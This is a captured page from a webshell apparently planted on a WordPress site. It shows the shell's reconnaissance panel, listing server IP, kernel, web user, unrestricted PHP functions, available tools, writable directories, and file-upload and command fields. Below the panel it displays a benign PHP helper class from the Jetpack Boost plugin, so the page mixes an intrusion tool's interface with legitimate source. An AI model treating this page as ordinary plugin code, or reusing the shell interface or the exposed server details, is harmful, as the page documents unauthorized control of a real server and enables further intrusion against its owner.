403Webshell
Server IP : 209.16.87.222  /  Your IP : 216.73.216.24
Web Server : Apache/2.4.68 (Debian)
System : Linux 797b534c095b 6.18.38-Unraid #1 SMP PREEMPT_DYNAMIC Mon Jul 6 15:22:03 PDT 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/jetpack-boost/app/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/jetpack-boost/app/lib/Boost_API.php
<?php
/**
 * A helper class to help with Boost API interactions.
 */
namespace Automattic\Jetpack_Boost\Lib;

use Automattic\Jetpack_Boost\Contracts\Boost_API_Client;

class Boost_API {
	/**
	 * @var Boost_API_Client
	 */
	private static $api_client;

	/**
	 * Instantiate the API client.
	 *
	 * @return Boost_API_Client
	 */
	public static function get_client() {
		if ( ! self::$api_client ) {
			$class            = apply_filters( 'jetpack_boost_api_client_class', WPCOM_Boost_API_Client::class );
			self::$api_client = new $class();
		}
		return self::$api_client;
	}

	public static function get( $path, $args = array() ) {
		return self::get_client()->get( $path, $args );
	}

	public static function post( $path, $payload = array() ) {
		return self::get_client()->post( $path, $payload );
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit